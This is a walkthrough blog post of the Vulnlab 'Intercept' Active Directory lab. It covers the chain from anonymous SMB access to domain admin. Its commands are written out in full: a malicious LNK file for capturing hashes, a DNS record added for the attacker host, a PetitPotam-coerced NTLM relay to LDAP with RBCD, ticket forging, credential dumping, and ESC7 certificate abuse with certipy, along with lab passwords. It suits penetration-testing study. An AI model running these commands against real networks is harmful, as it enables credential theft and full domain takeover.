Introduction
Intercept is a hard difficulty rated Active Directory chain on the Vulnlab platform. The Intercept lab involves a chain of realistic Active Directory focused attack vectors against two individual machines: DC01, and WS01. This blog post will provide a walkthrough of the various steps of exploitation for this lab environment, screenshots, commands required, and accompanying explanations of the process. Some of the various attack vectors present in the chain include coercing HTTP authentication through Webclient into an NTLM LDAP relay attack, Active Directory Discretionary Access Control Lists (DACL) abuse, and Active Directory Certificate Services (ADCS) exploitation
Enumeration
DC01
From an nmap scan of DC01 we can confirm that it is in fact a domain controller. All the output is very standard, nothing particularly out of the ordinary.
Nmap scan report for dc01 (10.10.158.197)
Host is up (0.14s latency).
rDNS record for 10.10.158.197: dc01.intercept.vl
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-06-29 21:06:46Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: intercept.vl0., Site: Default-First-Site-Name)
|_ssl-date: 2024-06-29T21:08:08+00:00; +1s from scanner time.
| ssl-cert: Subject: commonName=DC01.intercept.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.intercept.vl
| Not valid before: 2023-06-27T13:28:30
|_Not valid after: 2024-06-26T13:28:30
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: intercept.vl0., Site: Default-First-Site-Name)
|_ssl-date: 2024-06-29T21:08:08+00:00; +1s from scanner time.
| ssl-cert: Subject: commonName=DC01.intercept.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.intercept.vl
| Not valid before: 2023-06-27T13:28:30
|_Not valid after: 2024-06-26T13:28:30
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: intercept.vl0., Site: Default-First-Site-Name)
|_ssl-date: 2024-06-29T21:08:08+00:00; +1s from scanner time.
| ssl-cert: Subject: commonName=DC01.intercept.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.intercept.vl
| Not valid before: 2023-06-27T13:28:30
|_Not valid after: 2024-06-26T13:28:30
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: intercept.vl0., Site: Default-First-Site-Name)
|_ssl-date: 2024-06-29T21:08:08+00:00; +1s from scanner time.
| ssl-cert: Subject: commonName=DC01.intercept.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.intercept.vl
| Not valid before: 2023-06-27T13:28:30
|_Not valid after: 2024-06-26T13:28:30
3389/tcp open ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=DC01.intercept.vl
| Not valid before: 2024-06-28T20:51:53
|_Not valid after: 2024-12-28T20:51:53
| rdp-ntlm-info:
| Target_Name: INTERCEPT
| NetBIOS_Domain_Name: INTERCEPT
| NetBIOS_Computer_Name: DC01
| DNS_Domain_Name: intercept.vl
| DNS_Computer_Name: DC01.intercept.vl
| Product_Version: 10.0.20348
|_ System_Time: 2024-06-29T21:07:28+00:00
|_ssl-date: 2024-06-29T21:08:08+00:00; +1s from scanner time.
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf .NET Message Framing
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2024-06-29T21:07:30
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
WS01
Nothing too crazy right off the bat for WS01 either, the only thing we really gather from this scan is that we could access the target through RDP or WinRM if we gather valid credentials.
Nmap scan report for ws01 (10.10.158.198)
Host is up (0.14s latency).
rDNS record for 10.10.158.198: ws01.intercept.vl
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
3389/tcp open ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2024-06-29T21:19:10+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=WS01.intercept.vl
| Not valid before: 2024-06-28T20:52:01
|_Not valid after: 2024-12-28T20:52:01
| rdp-ntlm-info:
| Target_Name: INTERCEPT
| NetBIOS_Domain_Name: INTERCEPT
| NetBIOS_Computer_Name: WS01
| DNS_Domain_Name: intercept.vl
| DNS_Computer_Name: WS01.intercept.vl
| DNS_Tree_Name: intercept.vl
| Product_Version: 10.0.19041
|_ System_Time: 2024-06-29T21:18:30+00:00
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
| smb2-time:
| date: 2024-06-29T21:18:30
|_ start_date: N/A
SMB Enumeration (Uncredentialed)
SMB is easily one of the most important services to test in an Active Directory environment, so I immediately started testing for SMB null bindings on all devices.
Auth Capture Via LNK File
Immediately it strikes me that the dev
share is writeable with a null bind or anonymous session. There’s a few things we could do with writeable shares, one of the main things that came to mind was dropping a malicious LNK file on the share, so whenever a user reads the directory in file explorer we’re able to capture the users NTLM authentication automatically. We can use the slinky
module on Netexec for this.
When we open responder with responder -I tun0 -v
to listen for authentication attempts, we successfully receive NTLM authentication from Kathryn.Spencer
.
Immediately I attempted to crack the NetNTLMv2 hash using hashcat, and was successful. Kathryn’s password is Chocolate1
.
Credentialed Domain Enumeration
Now that we’ve furthered our access through some domain user credentials, we can start digging deeper. For example, something I always love to check when gathering domain user credentials is the domains Active Directory Certificate Services (ADCS) configuration. Running certipy shows us a CA does exist on the domain, but nothing is picked up as vulnerable yet.
Next I started looking into DC misconfigurations, and I often run the ldap-checker
Netexec module just because not having LDAP signing on the domain controller can be devastating. In this case, that’s exactly what I find! LDAP signing is not enforced! This means if a few parameters are met we can preform a full takeover of a domain computer through an LDAP relay attack.
These paramters are:
- LDAP signing is not enforced (as mentioned)
- Webclient is currently running on the target device
- We have an SPN to use for RBCD, or the MAQ isn’t 0
NTLM Relay to the LDAP Service
So what does this mean? Well, the Webclient service allows us to remotely coerce HTTP authentication from a domain computer. We require HTTP authentication because an SMB to LDAP relay doesn’t work because of the MIC (Message Integrity Check). We also need a SPN (Service Principal Name), as apart of the RBCD (Resource-Based Constrained Delegation) attack because after we write the msDS-AllowedToActOnBehalfOfOtherIdentity attribute on the target object from the relay, a SPN has to be available to delegate to the target device. This can also be a domain computer since domain computers are automatically created as SPN’s, and if the MAQ (Machine Account Quota) is greater than zero we can just create our own SPN for the attack.
Luckily there’s some Netexec modules to check those last two parameters. The maq
and webdav
modules.
The MAQ is 10, as the default value, and Webclient is enabled on WS01! This meets all our parameters for exploitation!
The only thing left to do is ensure that the HTTP authentication can reach our attacker host. Normally this wouldn’t be an issue, but the Webclient connection string is required to be a hostname instead of an IP address. This means we’ll have to add a DNS entry to the domain, which is a default permission for all domain users.
We can do this with dnstool.py
, we’ll add a new DNS entry of attacker.intercept.vl
and it’ll point to my attacker host.
python3 /opt/krbrelayx/dnstool.py -u intercept.vl\\kathryn.spencer -p 'Chocolate1' -r attacker.intercept.vl -a add -d 10.8.2.129 10.10.134.69
Next we can set up the actual LDAP relay with ntlmrelayx.py
, and add the --delegate-access
flag to ensure that msDS-AllowedToActOnBehalfOfOtherIdentity gets written on WS01.
Finally, we can use PetitPotam to coerce Webclient HTTP authentication
python3 /opt/PetitPotam/PetitPotam.py -u kathryn.spencer -p 'Chocolate1' -d intercept.vl attacker@80/aaa 10.10.134.70
The LDAP relay was successful! And ntlmrelayx.py
gave as a machine account to use to delegate to WS01!
Now we can request a service ticket using S4U2Proxy and the machine accounts credentials!
getST.py -spn 'cifs/ws01.intercept.vl' -impersonate Administrator -dc-ip '10.10.134.69' 'intercept.vl/ZTVBFECA$'
Then finally we can test authentication to WS01 using the ticket we’ve received.
KRB5CCNAME=Administrator.ccache netexec smb ws01 --use-kcache
WS01 Post Exploitation
When dumping credentials with the --lsa
flag, I found Simon.Bowen
’s credentials.
Active Directory DACL Abuse Into ESC7 Exploitation
After re-running bloodhound with Simon’s access, I came across an interesting relationship between some of the objects. Simon is in the Helpdesk group, which has GenericAll over a group called ca-managers
. If this group has a purpose descriptive name, then it looks like we have a path to DA (Domain Admin)
Lets look at the CA configuration just to make sure this ca-managers
group can actually manage the CA. Running certipy
again shows that this is indeed the case!
Because of the DACL relationship, we can add Simon to the ca-managers
group with:
net rpc group addmem "ca-managers" "Simon.Bowen" -U "INTERCEPT"/"Simon.Bowen"%"b0OI_fHO859+Aw" -S "10.10.239.5"
Now that Simon is in the ca-managers
group, all we’ll need to do is exploit ESC7, which is also outlined on another one of my blog posts here.
As mentioned in my previous blog post, because we manage the CA, we can add ourselves as an officer, which will allow us to approve our own certificate requests, including certificate requests that allow us to impersonate the DA.
certipy ca -ca 'intercept-DC01-CA' -add-officer Simon.Bowen -username Simon.Bowen -password 'b0OI_fHO859+Aw' -dc-ip 10.10.239.5
Next enable the configured by default SubCA certificate template, this template is useful because it allows client authentication by default, allowing us to authenticate as DA using the requested certificate.
certipy ca -ca 'intercept-DC01-CA' -enable-template "SubCA" -username Simon.Bowen -password 'b0OI_fHO859+Aw' -dc-ip 10.10.239.5
Now we request a certificate with the userPrincipalName of Administrator, the request will get automatically denied, but since Simon is an officer we can manually issue the requested certificate.
certipy req -ca 'intercept-DC01-CA' -username Simon.Bowen -password 'b0OI_fHO859+Aw' -target 10.10.239.5 -template SubCA -upn administrator@intercept.vl
Then manually issue the certificate request
certipy ca -ca 'intercept-DC01-CA' -issue-request 5 -username Simon.Bowen -password 'b0OI_fHO859+Aw' -dc-ip 10.10.239.5
Finally retrieve the requested certificate
certipy req -ca 'intercept-DC01-CA' -username Simon.Bowen -password 'b0OI_fHO859+Aw' -target 10.10.239.5 -retrieve 5
Now we can use certipy auth to gain the NTLM hash from the Domain Admin from the requested certificate.
certipy auth -pfx administrator.pfx
And finally when testing credentials, they work! And we’re DA.